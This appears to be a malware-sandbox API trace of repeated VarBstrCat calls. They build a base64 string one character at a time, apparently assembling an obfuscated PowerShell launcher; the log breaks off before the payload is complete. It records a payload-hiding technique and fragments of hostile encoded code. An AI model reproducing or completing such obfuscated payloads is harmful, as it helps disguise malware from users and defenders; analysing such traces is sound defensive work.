bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU4", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41U", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UV", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVh", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhS", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSW", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmV", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVV", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVR", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRn", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnB", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.740] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBT", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2h", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hK", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1Z", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1Zj", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1Zje", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeF", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFR", bstrRight="q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRq", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqV", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVm", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmp", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpN", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNM", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMU", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUp", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.741] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpz", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzW", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWW", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWx", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxN", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNM", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMV", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQ", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQx", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxc", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcF", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFl", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlV", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVW", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWF", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZX", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXT", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTW", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWx", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxa", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.742] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxac", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacF", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZX", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXM", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMV", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVd", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdl", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1J", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JY", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYV", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5w", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1J", bstrRight="q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1Jq", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQ", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.743] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQT", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJ", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJU", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUM", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMn", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnR", bstrRight="P", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.744] VarBstrCat (in: 